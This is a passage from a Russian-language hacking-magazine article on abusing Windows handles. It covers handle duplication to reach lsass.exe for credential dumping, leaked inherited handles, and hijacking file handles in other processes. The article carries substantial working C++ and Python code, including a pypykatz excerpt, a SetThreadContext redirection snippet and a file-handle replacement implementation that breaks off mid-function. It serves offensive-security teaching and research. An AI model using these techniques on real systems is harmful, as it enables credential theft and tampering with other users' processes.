https://learn.microsoft.com/ru-ru/windows/win32/api/fileapi/nf-fileapi-createfilea
https://learn.microsoft.com/ru-ru/windows/win32/api/ntsecapi/nf-ntsecapi-lsaopenpolicy
https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list
https://processhacker.sourceforge.io/downloads.php
https://github.com/zodiacon/SystemExplorer
https://learn.microsoft.com/en-us/sysinternals/downloads/handle


КАК ЗЛОУПОТРЕБЛЯТЬ ХЕНДЛАМИ
В WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

HANDLE DUPLICATING

Это самая пер вая ата ка на хен длы. Осно вана она по боль шей час ти на фун- 
кции  и ее более низ коуров невых ана логах вро де

.
DuplicateHandle()

NtDuplicateObject()
Взгля нем на про тотип фун кции.

 BOOL DuplicateHandle(
      [in] HANDLE hSourceProcessHandle,
      [in] HANDLE hSourceHandle,
      [in] HANDLE hTargetProcessHandle,
   [out] LPHANDLE lpTargetHandle,
       [in] DWORD dwDesiredAccess,
        [in] BOOL bInheritHandle,
       [in] DWORD dwOptions
);

 — хендл про цес са, из которо го тре бует ся ско- 
пиро вать хендл. Дол жен иметь мас ку дос тупа ;

• hSourceProcessHandle

PROCESS_DUP_HANDLE

 — хендл, который нуж но ско пиро вать;• hSourceHandle

 — про цесс, в который нуж но ско пиро вать
хендл;

• hTargetProcessHandle

 — куда класть ско пиро ван ный хендл;• lpTargetHandle

 — фла ги дос тупа;• dwDesiredAccess

 — нас леду емый ли дес крип тор, то есть мож но ли его
переда вать в дочер ние про цес сы;

• bInheritHandle

 — допол нитель ные парамет ры.• dwOptions

Под робнее каж дый аргу мент мож но изу чить .в офи циаль ной докумен тации
Итак, вся ата ка зак люча ется в том, что мы находим про цес сы, на которые

можем зап росить хендл с мас кой , затем копиру ем их

хен длы, изу чаем, на что они ука зыва ют, пос ле чего экс плу ати руем! Нап ример,
на про цесс  из нашего про цес са  мож но успешно
получить хендл с нуж ной мас кой. Пос ле копиро вания дес крип торов
из целево го про цес са обна ружи ваем, что у нас есть дес крип тор про цес са

! Как следс твие, успешно дам пим про цесс.

PROCESS_DUP_HANDLE

victim.exe target.exe

lsass.exe
Ко неч но, в целевом про цес се может быть ука зана пло хая мас ка дос тупа,

которая не под ходит для дам па про цес са. Тем не менее, если у нас есть
хендл, мы можем рас парсить его и извлечь мас ку дос тупа, исполь зуемую
для получе ния это го хен дла.

Здесь нам поможет фун кция  и переда ча струк туры
.

NtQueryObject()
PUBLIC_OBJECT_BASIC_INFORMATION

#include <iostream>
#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

   void ParseAccessMask(ACCESS_MASK accessMask) {
         if ((accessMask & GENERIC_READ) == GENERIC_READ) std::cout <<
"GENERIC_READ ";
         if ((accessMask & GENERIC_WRITE) == GENERIC_WRITE) std::cout <<
"GENERIC_WRITE ";
         if ((accessMask & GENERIC_EXECUTE) == GENERIC_EXECUTE) std::cout <<
"GENERIC_EXECUTE ";
         if ((accessMask & GENERIC_ALL) == GENERIC_ALL) std::cout <<
"GENERIC_ALL ";

      
   
if ((accessMask & PROCESS_CREATE_PROCESS) == PROCESS_CREATE_PROCESS

) std::cout << "PROCESS_CREATE_PROCESS ";
       

  
if ((accessMask & PROCESS_TERMINATE) == PROCESS_TERMINATE) std::

cout << "PROCESS_TERMINATE ";
      
   
if ((accessMask & PROCESS_SUSPEND_RESUME) == PROCESS_SUSPEND_RESUME

) std::cout << "PROCESS_SUSPEND_RESUME ";
      

   
if ((accessMask & PROCESS_QUERY_INFORMATION) ==

PROCESS_QUERY_INFORMATION) std::cout << "PROCESS_QUERY_INFORMATION ";
      

   
if ((accessMask & PROCESS_SET_INFORMATION) ==

PROCESS_SET_INFORMATION) std::cout << "PROCESS_SET_INFORMATION ";

   std::cout << std::endl;
}

  int main() {
    HANDLE hProcess = GetCurrentProcess();

    ULONG returnLength = 0;
  PUBLIC_OBJECT_BASIC_INFORMATION obi;

    NTSTATUS status = NtQueryObject(
   hProcess,
   ObjectBasicInformation,
   &obi,
   sizeof(obi),
   &returnLength);

   if (NT_SUCCESS(status)) {
          
 
std::cout << "Granted Access: " << std::hex << obi.GrantedAccess

<< std::endl;
   ParseAccessMask(obi.GrantedAccess);
 }
  else {
         

  
std::cerr << "NtQueryObject failed with status: " << std::hex <<

status << std::endl;
 }

 CloseHandle(hProcess);

  return 0;
}

При мер вывода

Есть проб лема: мы пар сим мас ки, совер шенно забывая о том, что мас ки дос- 
тупа могут иметь перек рыва ющиеся зна чения. Нап ример, у про цес са есть

, у потока — , а эти оба зна чения ука- 

зыва ют на , поэто му нашу фун кцию пар синга мас ки дос тупа нуж но

модифи циро вать, научив рас позна вать передан ный хендл.

PROCESS_VM_READ THREAD_SET_CONTEXT
0x0010

Да леко ходить не надо — исполь зуем ту же фун кцию ,

толь ко будем переда вать ей струк туру .

NtQueryObject()
PUBLIC_OBJECT_TYPE_INFORMATION

   typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
  UNICODE_STRING TypeName;
 ULONG          Reserved[22];
  } PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;

Здесь будем отталки вать ся толь ко от поля . Имен но там содер жится

тип объ екта, на который ука зыва ет хендл.

TypeName

Нам оста ется лишь нес коль ко поп равить код.

#include <iostream>
#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

   std::wstring GetHandleType(HANDLE handle) {
  NTSTATUS status;
  ULONG returnLength;
  std::wstring handleType;
      ULONG bufferSize = sizeof(PUBLIC_OBJECT_TYPE_INFORMATION) + 1024;
    

  
PPUBLIC_OBJECT_TYPE_INFORMATION objectTypeInfo = (

PPUBLIC_OBJECT_TYPE_INFORMATION) new UCHAR[bufferSize];

   if (!objectTypeInfo) {
       std::cerr << "Memory allocation failed" << std::endl;
    return handleType;
 }

     
  

status = NtQueryObject(handle, ObjectTypeInformation,
objectTypeInfo, bufferSize, &returnLength);

   if (NT_SUCCESS(status)) {
    

  
handleType.assign(objectTypeInfo->TypeName.Buffer, objectTypeInfo

->TypeName.Length / sizeof(WCHAR));
 }
  else {
       std::cerr << "Failed to get object type information" << std::endl
;
 }

 delete[](UCHAR*)objectTypeInfo;
  return handleType;
}

     void ParseAccessMask(HANDLE handle, ACCESS_MASK accessMask) {
    std::wstring handleType = GetHandleType(handle);
       std::wcout << L"Handle Type: " << handleType << std::endl;

     if (handleType == L"Process") {
         

  
if ((accessMask & PROCESS_ALL_ACCESS) == PROCESS_ALL_ACCESS) std:

:wcout << L"PROCESS_ALL_ACCESS ";
        

   
if ((accessMask & PROCESS_CREATE_PROCESS) ==

PROCESS_CREATE_PROCESS) std::wcout << L"PROCESS_CREATE_PROCESS ";
        
   

if ((accessMask & PROCESS_CREATE_THREAD) == PROCESS_CREATE_THREAD
) std::wcout << L"PROCESS_CREATE_THREAD ";
         

  
if ((accessMask & PROCESS_DUP_HANDLE) == PROCESS_DUP_HANDLE) std:

:wcout << L"PROCESS_DUP_HANDLE ";
        

   
if ((accessMask & PROCESS_QUERY_INFORMATION) ==

PROCESS_QUERY_INFORMATION) std::wcout << L"PROCESS_QUERY_INFORMATION 
";
        

   
if ((accessMask & PROCESS_QUERY_LIMITED_INFORMATION) ==

PROCESS_QUERY_LIMITED_INFORMATION) std::wcout <<
L"PROCESS_QUERY_LIMITED_INFORMATION ";
        

   
if ((accessMask & PROCESS_SET_INFORMATION) ==

PROCESS_SET_INFORMATION) std::wcout << L"PROCESS_SET_INFORMATION ";
         

  
if ((accessMask & PROCESS_SET_QUOTA) == PROCESS_SET_QUOTA) std::

wcout << L"PROCESS_SET_QUOTA ";
        

   
if ((accessMask & PROCESS_SUSPEND_RESUME) ==

PROCESS_SUSPEND_RESUME) std::wcout << L"PROCESS_SUSPEND_RESUME ";
         

  
if ((accessMask & PROCESS_TERMINATE) == PROCESS_TERMINATE) std::

wcout << L"PROCESS_TERMINATE ";
         

  
if ((accessMask & PROCESS_VM_OPERATION) == PROCESS_VM_OPERATION)

std::wcout << L"PROCESS_VM_OPERATION ";
          
 
if ((accessMask & PROCESS_VM_READ) == PROCESS_VM_READ) std::wcout

<< L"PROCESS_VM_READ ";
         

  
if ((accessMask & PROCESS_VM_WRITE) == PROCESS_VM_WRITE) std::

wcout << L"PROCESS_VM_WRITE ";
           if ((accessMask & SYNCHRONIZE) == SYNCHRONIZE) std::wcout <<
L"SYNCHRONIZE ";
 }
      else if (handleType == L"Thread") {
         

  
if ((accessMask & THREAD_ALL_ACCESS) == THREAD_ALL_ACCESS) std::

wcout << L"THREAD_ALL_ACCESS ";
        

   
if ((accessMask & THREAD_DIRECT_IMPERSONATION) ==

THREAD_DIRECT_IMPERSONATION) std::wcout <<
L"THREAD_DIRECT_IMPERSONATION ";
         

  
if ((accessMask & THREAD_GET_CONTEXT) == THREAD_GET_CONTEXT) std:

:wcout << L"THREAD_GET_CONTEXT ";
         

  
if ((accessMask & THREAD_IMPERSONATE) == THREAD_IMPERSONATE) std:

:wcout << L"THREAD_IMPERSONATE ";
        

   
if ((accessMask & THREAD_QUERY_INFORMATION) ==

THREAD_QUERY_INFORMATION) std::wcout << L"THREAD_QUERY_INFORMATION ";
        

   
if ((accessMask & THREAD_QUERY_LIMITED_INFORMATION) ==

THREAD_QUERY_LIMITED_INFORMATION) std::wcout <<
L"THREAD_QUERY_LIMITED_INFORMATION ";
         

  
if ((accessMask & THREAD_SET_CONTEXT) == THREAD_SET_CONTEXT) std:

:wcout << L"THREAD_SET_CONTEXT ";
        

   
if ((accessMask & THREAD_SET_INFORMATION) ==

THREAD_SET_INFORMATION) std::wcout << L"THREAD_SET_INFORMATION ";
        

   
if ((accessMask & THREAD_SET_LIMITED_INFORMATION) ==

THREAD_SET_LIMITED_INFORMATION) std::wcout <<
L"THREAD_SET_LIMITED_INFORMATION ";
        

   
if ((accessMask & THREAD_SET_THREAD_TOKEN) ==

THREAD_SET_THREAD_TOKEN) std::wcout << L"THREAD_SET_THREAD_TOKEN ";
        
   

if ((accessMask & THREAD_SUSPEND_RESUME) == THREAD_SUSPEND_RESUME
) std::wcout << L"THREAD_SUSPEND_RESUME ";
         

  
if ((accessMask & THREAD_TERMINATE) == THREAD_TERMINATE) std::

wcout << L"THREAD_TERMINATE ";
 }
   std::wcout << std::endl;
}

  int main() {
 //HANDLE hProcess = GetCurrentProcess();
    HANDLE hProcess = GetCurrentThread();
    ULONG returnLength = 0;
  PUBLIC_OBJECT_BASIC_INFORMATION obi;

    NTSTATUS status = NtQueryObject(
   hProcess,
   ObjectBasicInformation,
   &obi,
   sizeof(obi),
   &returnLength);

   if (NT_SUCCESS(status)) {
          
 
std::cout << "Granted Access: " << std::hex << obi.GrantedAccess

<< std::endl;
    ParseAccessMask(hProcess, obi.GrantedAccess);
 }
  else {
         

  
std::cerr << "NtQueryObject failed with status: " << std::hex <<

status << std::endl;
 }

 CloseHandle(hProcess);

  return 0;
}

При мер вывода

От лично! Код, прав да, не бле щет кра сотой со все ми эти ми . Сень оры так

не пишут! Поэто му пред лагаю соз дать .

if
std::map

...
   

  
std::map<ACCESS_MASK, std::wstring> CreateAccessRightsMap(const std::
wstring& handleType) {
     if (handleType == L"Process") {
    return {

      {PROCESS_ALL_ACCESS, L"PROCESS_ALL_ACCESS"},
      {PROCESS_CREATE_PROCESS, L"PROCESS_CREATE_PROCESS"},

      {PROCESS_CREATE_THREAD, L"PROCESS_CREATE_THREAD"},
      {PROCESS_DUP_HANDLE, L"PROCESS_DUP_HANDLE"},

      {PROCESS_QUERY_INFORMATION, L"PROCESS_QUERY_INFORMATION"},
      {PROCESS_QUERY_LIMITED_INFORMATION,

L"PROCESS_QUERY_LIMITED_INFORMATION"},
      {PROCESS_SET_INFORMATION, L"PROCESS_SET_INFORMATION"},

      {PROCESS_SET_QUOTA, L"PROCESS_SET_QUOTA"},
      {PROCESS_SUSPEND_RESUME, L"PROCESS_SUSPEND_RESUME"},

      {PROCESS_TERMINATE, L"PROCESS_TERMINATE"},
      {PROCESS_VM_OPERATION, L"PROCESS_VM_OPERATION"},

      {PROCESS_VM_READ, L"PROCESS_VM_READ"},
      {PROCESS_VM_WRITE, L"PROCESS_VM_WRITE"},

      {SYNCHRONIZE, L"SYNCHRONIZE"}
   };
 }
      else if (handleType == L"Thread") {
    return {

      {THREAD_ALL_ACCESS, L"THREAD_ALL_ACCESS"},
      {THREAD_DIRECT_IMPERSONATION, L"THREAD_DIRECT_IMPERSONATION"},

      {THREAD_GET_CONTEXT, L"THREAD_GET_CONTEXT"},
      {THREAD_IMPERSONATE, L"THREAD_IMPERSONATE"},

      {THREAD_QUERY_INFORMATION, L"THREAD_QUERY_INFORMATION"},
      {THREAD_QUERY_LIMITED_INFORMATION,

L"THREAD_QUERY_LIMITED_INFORMATION"},
      {THREAD_SET_CONTEXT, L"THREAD_SET_CONTEXT"},

      {THREAD_SET_INFORMATION, L"THREAD_SET_INFORMATION"},
      {THREAD_SET_LIMITED_INFORMATION,

L"THREAD_SET_LIMITED_INFORMATION"},
      {THREAD_SET_THREAD_TOKEN, L"THREAD_SET_THREAD_TOKEN"},

      {THREAD_SUSPEND_RESUME, L"THREAD_SUSPEND_RESUME"},
      {THREAD_TERMINATE, L"THREAD_TERMINATE"}

   };
 }
  return {};
}

     void ParseAccessMask(HANDLE handle, ACCESS_MASK accessMask) {
    std::wstring handleType = GetHandleType(handle);
       std::wcout << L"Handle Type: " << handleType << std::endl;

    auto accessRightsMap = CreateAccessRightsMap(handleType);

        for (const auto& [mask, name] : accessRightsMap) {
         if ((accessMask & mask) == mask) {

         std::wcout << name << L" ";
   }
 }

   std::wcout << std::endl;
}
...

Те перь мы уме ем по хен длу получать информа цию о самом дес крип торе
и извле кать его мас ку. Оста ется лишь самое малое — получить эти хен длы.

Нам не сос тавит тру да это сде лать с помощью фун кции
 и переда чи струк туры

.
NtQuerySystemInformation()
SYSTEM_HANDLE_INFORMATION

 PSYSTEM_HANDLE_INFORMATION hInfo;

  VOID GetHandles() {
      ULONG returnLenght = 0;
        unsigned long long aSize = 0x69;
     hInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(aSize);

      
 

fNtQuerySystemInformation NtQuerySystemInformation = (
fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");
       
  

while (NtQuerySystemInformation(0x10, hInfo, aSize, &returnLenght
) == STATUS_INFO_LENGTH_MISMATCH)
   {

           aSize = returnLenght + 1024;
         hInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(aSize);

   }
}

Те перь получить дос туп к хен длу воз можно через 
. В фун кцию  сле дует переда вать 

, так как в  содер жится адрес, по которо му лежит

хендл, а в  — зна чение хен дла.

hInfo->Handles[i].
Object DuplicateHandle hInfo->Handles[
i].HandleValue Object

HandleValue
Убе дить ся в том, что все так и есть, мож но с помощью Process Hacker.

Под циф рой 1 ука зано зна чение , а под циф рой 2 — .Object HandleValue

Прос мотр HandleValue и Object

Пос ле успешно го копиро вания хен дла мож но делать с ним что угод но (конеч- 
но, если это раз реша ет мас ка дос тупа)! Нап ример, вот пара идей, которые
могут помочь нам побало вать ся:

;• Handle Ripper
.• MalSecLogon

В час тнос ти, если наш хендл ука зыва ет на поток и мас ка дос тупа —
, то это поз воля ет вызывать фун кцию .

С ее помощью мы можем при менить к потоку спе циаль ную струк туру
.

THREAD_SET_CONTEXT SetThreadContext()

CONTEXT

   typedef struct _WOW64_CONTEXT {
 DWORD                    ContextFlags;
 DWORD                    Dr0;
 DWORD                    Dr1;
 DWORD                    Dr2;
 DWORD                    Dr3;
 DWORD                    Dr6;
 DWORD                    Dr7;
  WOW64_FLOATING_SAVE_AREA FloatSave;
 DWORD                    SegGs;
 DWORD                    SegFs;
 DWORD                    SegEs;
 DWORD                    SegDs;
 DWORD                    Edi;
 DWORD                    Esi;
 DWORD                    Ebx;
 DWORD                    Edx;
 DWORD                    Ecx;
 DWORD                    Eax;
 DWORD                    Ebp;
 DWORD                    Eip;
 DWORD                    SegCs;
 DWORD                    EFlags;
 DWORD                    Esp;
 DWORD                    SegSs;
 BYTE                     ExtendedRegisters[
WOW64_MAXIMUM_SUPPORTED_EXTENSION];
 } WOW64_CONTEXT;

Как видишь, эта струк тура пред став ляет собой набор зна чений регис тров
про цес са, которые мож но ука зать и которые будут при мене ны. В час тнос ти,
мож но перенап равить поток управле ния целевой прог раммы, изме нив
регистр  или  в слу чае х64.Eip Rip

 CONTEXT context;
  context.Rip = (DWORD_PTR)remoteBuffer;

 SetThreadContext(threadHijacked, &context);

Кста ти, имен но этот спо соб исполь зует pypykatz при попыт ке сдам пить про- 
цесс . Ниже — соот ветс тву ющий учас ток .lsass.exe ко да pypykatz

 def enum_lsass_handles():
 #searches for open LSASS process handles in all processes
 # you should be having SE_DEBUG enabled at this point
 RtlAdjustPrivilege(20)

   lsass_handles = []
   sysinfohandles = NtQuerySystemInformation(16)
    for pid in sysinfohandles:
      if pid == 4:
     continue
   #if pid != GetCurrentProcessId():
   #  continue
      for syshandle in sysinfohandles[pid]:
     #print(pid)
     try:

           pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid)
        except Exception as e:

          logger.debug('Error opening process %s Reason: %s' % (pid, e)
)
       continue

     try:
    

 
       dupHandle = NtDuplicateObject(pHandle, syshandle.Handle,
GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
       #print(dupHandle)

        except Exception as e:
 

  
       logger.debug('Failed to duplicate object! PID: %s HANDLE: %s'
% (pid, hex(syshandle.Handle)))
       continue

        oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
        if oinfo.Name.getString() == 'Process':

       try:
           pname = QueryFullProcessImageNameW(dupHandle)

            if pname.lower().find('lsass.exe') != -1:

   
           logger.info('Found open handle to lsass! PID: %s HANDLE: 
%s' % (pid, hex(syshandle.Handle)))
           #print('%s : %s' % (pid, pname))

            lsass_handles.append((pid, dupHandle))
          except Exception as e:

  
         logger.debug('Failed to obtain the path of the process! 
PID: %s' % pid)
         continue

  return lsass_handles

Це левой про цесс  здесь ищет ся при помощи фун кции

. Ей (в реали зации pypykatz) тре бует ся
передать толь ко ско пиро ван ный хендл.

lsass.exe
QueryFullProcessImageNameW()

LEAKED HANDLE

Эта ата ка нес коль ко отли чает ся от Handle Duplicating, хотя во мно гом похожа.
Она осно вана на том, что при виле гиро ван ный про цесс запус кает с откры- 
тыми и нас леду емы ми дес крип торами дру гой про цесс, неп ривиле гиро ван- 
ный, пре дос тавляя ему дос туп к сво им дес крип торам.

Итак, пусть про цесс запущен от лица . У это го про- 

цес са есть свои дес крип торы каких-то объ ектов. Затем этот сис темный про- 
цесс дер гает , ука зывая  рав ным .

Это при водит к тому, что про цесс, который запус кает ся через
, во-пер вых, ста новит ся дочер ним по отно шению к сис- 

темно му (родитель ско му) про цес су, во-вто рых, нас леду ет все хен длы
родитель ско го про цес са. Нап ример, если родитель ский про цесс получил
дес крип тор на какой-нибудь дру гой про цесс, а затем соз дал дочер ний с нас- 
ледова нием дес крип торов, то дочер ний про цесс получит дос туп к это му дес- 
крип тору.

NT AUTHORITY\SYSTEM

CreateProcess() bInheritHandles TRUE

CreateProcess()

В резуль тате у дочер него про цес са с низ кими при виле гиями появ ляет ся
воз можность исполь зовать хен длы родитель ско го про цес са.

Как ни стран но, но здесь исполь зуют ся плюс-минус те же вызовы API.
С помощью  перечис ляем хен длы, обна ружи ваем
те, которые при над лежат нашему родитель ско му про цес су, пос ле чего
копиру ем их и экс плу ати руем!

NtQuerySystemInformation()

На эту ата ку чуть боль ше PoC’ов, но вооб ще алго ритм такой же, как и
у Handle Duplicating, поэто му мож но счи тать Leaked Handle более час тным
слу чаем стан дар тно го Handle Duplicating. Вот нес коль ко вари антов PoC:

;• ReHacks
 — моя любимая реали зация;• ExploitLeakedHandle
.• LeakedHandlesFinder

Вто рой и тре тий наибо лее инте рес ны из-за воз можнос ти авто мати чес кой
экс плу ата ции мно жес тва раз личных хен длов.

При мер работы

Продолжение статьи →

https://learn.microsoft.com/ru-ru/windows/win32/api/handleapi/nf-handleapi-duplicatehandle
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FType%20independed%2FNtDuplicateObject.html
https://learn.microsoft.com/ru-ru/windows/win32/api/handleapi/nf-handleapi-duplicatehandle
https://learn.microsoft.com/ru-ru/windows/win32/api/winternl/nf-winternl-ntqueryobject
https://learn.microsoft.com/ru-ru/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_public_object_basic_information
https://learn.microsoft.com/ru-ru/windows-hardware/drivers/ddi/ntifs/ns-ntifs-__public_object_type_information
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
https://github.com/ZeroMemoryEx/Handle-Ripper/blob/master/Handle-Ripper/Source.cpp
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext
https://github.com/skelsec/pypykatz/blob/6c02115704596659c98775e170e93d0f8670f04b/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py#L79
https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-queryfullprocessimagenamew
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles
https://github.com/0x00Check/ExploitLeakedHandle
https://github.com/lab52io/LeakedHandlesFinder


КАК ЗЛОУПОТРЕБЛЯТЬ ХЕНДЛАМИ
В WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

HANDLE HIJACKING

Эта ата ка поз воля ет под менить один хендл дру гим и, нап ример, перенап- 
равить поток вывода в дру гой файл. Фак тичес ки мы можем манипу лиро вать
дес крип торами чужих про цес сов.

Ата ка осно вана на том, что Windows пов торно исполь зует индексы дес- 
крип торов. Ког да дес крип тор зак рыва ется, сле дующий дес крип тор, соз- 
данный в этом про цес се, будет пов торно исполь зовать индекс пре дыду щего
дес крип тора. Нап ример, зак рыли дес крип тор с индексом 10, а затем сра зу
же соз дали новый. Индекс нового тоже будет равен 10.

Ес ли рас смат ривать не пас сивную экс плу ата цию с перенап равле нием
вывода, то мож но перенап равить поток вво да. Нап ример, под менить один
файл нас тро ек дру гим.

Об щий алго ритм работы сле дующий:
1. По луча ем новый хендл, соз дав новый файл через . Этим

фай лом и будем под менять.
CreateFile()

2. При оста нав лива ем целевой про цесс через .NtSuspendProcess()

3. Про бега емся по всем хен длам в целевом про цес се с помощью
.NtQuerySystemInformation()

4. Иг нориру ем все хен длы, которые не явля ются хен дла ми на фай лы (пос- 
коль ку мы под меня ем фай лы). Для про вер ки срав нива ем зна чения

. Пом нишь, как мы делали в Handle Duplicating? Здесь
то же самое.
ObjectTypeIndex

5. На ходим дес крип тор целево го фай ла в уда лен ном про цес се, исполь зуя
 со зна чени ем ,

что бы получить путь к фай лу.
NtQueryInformationFile() FileNameInformation()

6. По лучен ный хендл копиру ем и зак рыва ем, исполь зуя 
 с фла гом .

DuplicateHandle(

) DUPLICATE_CLOSE_SOURCE

7. Ко пиру ем хендл обратно в ата куемый про цесс с помощью
, что поз воля ет занять пус той индекс.DuplicateHandle()

8. Вос ста нав лива ем работу прог раммы с помощью 
и получа ем успешную под мену фай ла.

NtResumeProcess()

Ни же — реали зация, взя тая с прек расно го сай та .x86matthew

#include <stdio.h>
#include <windows.h>

#define SystemExtendedHandleInformation 64
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#define FileNameInformation 9
#define PROCESS_SUSPEND_RESUME 0x800

 struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
  ULONG Object;
  ULONG UniqueProcessId;
  ULONG HandleValue;
  ULONG GrantedAccess;
  USHORT CreatorBackTraceIndex;
  USHORT ObjectTypeIndex;
  ULONG HandleAttributes;
  ULONG Reserved;
};

 struct SYSTEM_HANDLE_INFORMATION_EX
{
  ULONG NumberOfHandles;
  ULONG Reserved;
  SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1];
};

 struct FILE_NAME_INFORMATION
{
  ULONG FileNameLength;
  WCHAR FileName[1];
};

 struct IO_STATUS_BLOCK
{
 union
 {
    DWORD Status;
    PVOID Pointer;
 };
  DWORD *Information;
};

 struct GetFileHandlePathThreadParamStruct
{
  HANDLE hFile;
  char szPath[512];
};

   
      

DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass
, PVOID SystemInformation, ULONG SystemInformationLength, PULONG
ReturnLength);

     
      

DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *
IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD
FileInformationClass);

   DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
   DWORD (WINAPI *NtResumeProcess)(HANDLE Process);

   SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
   DWORD dwGlobal_DebugObjectType = 0;

 DWORD GetSystemHandleList()
{
    DWORD dwAllocSize = 0;
    DWORD dwStatus = 0;
    DWORD dwLength = 0;
    BYTE *pSystemHandleInfoBuffer = NULL;

 // free previous handle info list (if one exists)
   if(pGlobal_SystemHandleInfo != NULL)
 {
   free(pGlobal_SystemHandleInfo);
 }

 // get system handle list
   dwAllocSize = 0;
 for(;;)
 {
     if(pSystemHandleInfoBuffer != NULL)
   {
     // free previous inadequately sized buffer
     free(pSystemHandleInfoBuffer);

       pSystemHandleInfoBuffer = NULL;
   }

     if(dwAllocSize != 0)
   {
     // allocate new buffer

       pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize);
       if(pSystemHandleInfoBuffer == NULL)

     {
        return 1;

     }
   }

   // get system handle list
     

  
 

dwStatus = NtQuerySystemInformation(
SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer,
dwAllocSize, &dwLength);
     if(dwStatus == 0)
   {
     // success
     break;
   }
      else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
   {
     // not enough space — allocate a larger buffer and try again (
also add an extra 1kb to allow for additional handles created 
between checks)

         dwAllocSize = (dwLength + 1024);
   }
   else
   {
     // other error
     free(pSystemHandleInfoBuffer);

      return 1;
   }
 }

 // store handle info ptr
   pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)
pSystemHandleInfoBuffer;

  return 0;
}

  DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)
{
    HANDLE hFile = NULL;
  char szPath[512];
    DWORD dwFound = 0;
    DWORD dwFileHandleObjectType = 0;

 // get the file path of the current exe
   memset(szPath, 0, sizeof(szPath));
       if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
 {
    return 1;
 }

 // open the current exe
       

  
hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,

OPEN_EXISTING, 0, NULL);
   if(hFile == INVALID_HANDLE_VALUE)
 {
    return 1;
 }

 // take a snapshot of the system handle list
   if(GetSystemHandleList() != 0)
 {
    return 1;
 }

 // close the temporary file handle
 CloseHandle(hFile);

 // find the temporary file handle in the previous snapshot
        for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++
)
 {
   // check if the process ID is correct
     if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId ==
GetCurrentProcessId())
   {
     // check if the handle index is correct

       if(pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (
DWORD)hFile)
     {
       // store the file handle object type index

         dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList
[i].ObjectTypeIndex;

         dwFound = 1;
       break;
     }
   }
 }

 // ensure the file handle object type was found
   if(dwFound == 0)
 {
    return 1;
 }

 // store object type
   *pdwFileHandleObjectType = dwFileHandleObjectType;

  return 0;
}

   DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)
{
  BYTE bFileInfoBuffer[2048];
  IO_STATUS_BLOCK IoStatusBlock;
    GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam =
NULL;
    FILE_NAME_INFORMATION *pFileNameInfo = NULL;

 // get param
   pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct
*)lpArg;

 // get file path from handle
   memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock));
   memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
  

   
  

if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &
IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer),
FileNameInformation) != 0)
 {
    return 1;
 }

 // get FILE_NAME_INFORMATION ptr
   pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer;

 // validate filename length
   if(pFileNameInfo->FileNameLength >= sizeof(
pGetFileHandlePathThreadParam->szPath))
 {
    return 1;
 }

 // convert file path to ansi string
  

   
wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->

FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1);

  return 0;
}

    
  

DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE
hExistingRemoteHandle, HANDLE hReplaceLocalHandle)
{
    HANDLE hClonedFileHandle = NULL;
    HANDLE hRemoteReplacedHandle = NULL;

 // close remote file handle
   

     
   

if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle,
GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE
| DUPLICATE_SAME_ACCESS) == 0)
 {
    return 1;
 }

 // close cloned file handle
 CloseHandle(hClonedFileHandle);

 // duplicate local file handle into remote process
   

     
 

if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle,
